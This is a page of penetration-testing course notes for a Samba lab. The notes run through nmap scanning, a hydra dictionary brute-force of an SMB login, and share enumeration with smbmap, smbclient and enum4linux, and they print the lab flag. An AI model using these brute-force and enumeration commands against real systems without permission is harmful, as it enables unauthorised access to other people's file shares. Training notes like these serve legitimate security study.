INE Training Notes - by syselement
🏠 Home BlogGitHub📚 Buy Me a Book
  • INE Training Notes
  • Courses
    • eJPT - PTSv2
      • 📒Penetration Testing Prerequisites
        • Introduction
        • Networking
        • Web Applications
      • 📒1. Assessment Methodologies & Auditing
        • Information Gathering
        • Footprinting & Scanning
        • Enumeration
          • 🔬SMB Enum
          • 🔬FTP Enum
          • 🔬SSH Enum
          • 🔬HTTP Enum
          • 🔬MYSQL Enum
          • 🔬SMTP Enum
        • Vulnerability Assessment
        • Auditing Fundamentals
      • 📒2. Host & Network Penetration Testing
        • System/Host Based Attacks
          • 🪟Windows Attacks
            • 🔬IIS - WebDAV
            • 🔬SMB - PsExec
            • 🔬RDP
            • 🔬WinRM
            • 🔬Win Kernel Privesc
            • 🔬UAC Bypass
            • 🔬Access Token
            • 🔬Alternate Data Stream
            • 🔬Credentials Dumping
          • 🐧Linux Attacks
            • 🔬Bash
            • 🔬FTP
            • 🔬SSH
            • 🔬SAMBA
            • 🔬Cron Jobs
            • 🔬SUID
            • 🔬Hashes Dumping
        • Network Based Attacks
          • 🔬Tshark, ARP, WiFi
        • The Metasploit Framework (MSF)
          • 🔬HFS - MSF Exploit
          • 🔬Tomcat - MSF Exploit
          • 🔬FTP - MSF Exploit
          • 🔬Samba - MSF Exploit
          • 🔬SSH - MSF Exploit
          • 🔬SMTP - MSF Exploit
          • 🔬Meterpreter - MSF
          • 🔬Win Post Exploitation - MSF
          • 🔬Linux Post Exploitation - MSF
        • Exploitation
          • 🔬Fixing Exploits - HFS
          • 🔬Win Workflow Platform - MSF
          • 🔬Win Black Box Pentest
          • 🔬Linux Black Box Pentest
        • Post-Exploitation
          • 🔬Windows Post-Exploitation
          • 🔬Windows Privilege Escalation
          • 🔬Windows Persistence
          • 🔬Linux Post-Exploitation
          • 🔬Linux Privilege Escalation
          • 🔬Linux Persistence
          • 🔬Cracking Hashes
          • 🔬Pivoting
        • Social Engineering
      • 📒3. Web Application Penetration Testing
        • Intro to Web App Pentesting
          • 🔬HTTP Enumeration
          • 🔬Web App Scanning
          • 🔬Web App Attacks
      • 🔬Exam Preparation - Labs
        • PTSv1 Prerequisites Labs
          • 🔬HTTP(S) Traffic Sniffing
          • 🔬Find the Secret Server
          • 🔬Data Exfiltration
          • 🔬Burp Suite Basics - Directory Enumeration
        • PTSv2 Practice Labs
      • 🌐eJPT References
      • 📜eJPT Cheat Sheet
    • ICCA
      • 📒1. Cloud Foundations
      • 📒2. Cloud Management Concepts
      • 📒3. Cloud Identity, Security, and Compliance
      • 🌐Icca References
    • eMAPT
      • 📒Android
      • 📒iOS
      • 🌐eMAPT References
  • 🏠syselement's Blog Home
Powered by GitBook
On this page
  • Lab 1
  • Enumeration
  • Brute-Force
  • Login and Enumeration

Was this helpful?

Edit on GitHub
  1. Courses
  2. eJPT - PTSv2
  3. 📒2. Host & Network Penetration Testing
  4. System/Host Based Attacks
  5. Linux Attacks

🔬SAMBA

Previous🔬SSHNext🔬Cron Jobs

Last updated 2 years ago

Was this helpful?

Lab 1

🔬

  • Target IP: 192.174.58.3

  • Brute-force of SAMBA service

  • Enumeration, brute-force, tools and flags have been already covered in this

Enumeration

ip -br -c a

nmap -sV 192.34.128.3
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: RECONLABS)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: RECONLABS)

📌 Server is running SAMBA on the standard port 445

Brute-Force

gzip -d /usr/share/wordlists/rockyou.txt.gz
hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.34.128.3 smb
[445][smb] host: 192.34.128.3   login: admin   password: password1

Login and Enumeration

  • Use SMBMap tool

smbmap -H 192.34.128.3 -u admin -p password1
Disk  Permissions
----  -----------
shawn  READ, WRITE
nancy  READ ONLY
admin  READ, WRITE
IPC$   NO ACCESS
  • Use smbclient tool to access Samba sources

smbclient -L 192.34.128.3 -U admin
smbclient //192.34.128.3/shawn -U admin
help
dir
# check files and folders in that share
smbclient //192.34.128.3/nancy -U admin
cd dir\
get flag
exit
smbclient //192.34.128.3/admin -U admin
cd hidden
get flag.tar.gz
exit
tar xzf flag.tar.gz
cat flag
  • Use enum4linuxtool

enum4linux -a 192.34.128.3
# a = enumerate all information
enum4linux -a -u admin -p password1 192.34.128.3
Reveal Flag: 🚩

2727069bc058053bd561ce372721c92e


🐧
Samba Recon: Dictionary Attack
SMB Enum Lab 6
hydra admin
enum4linux part of response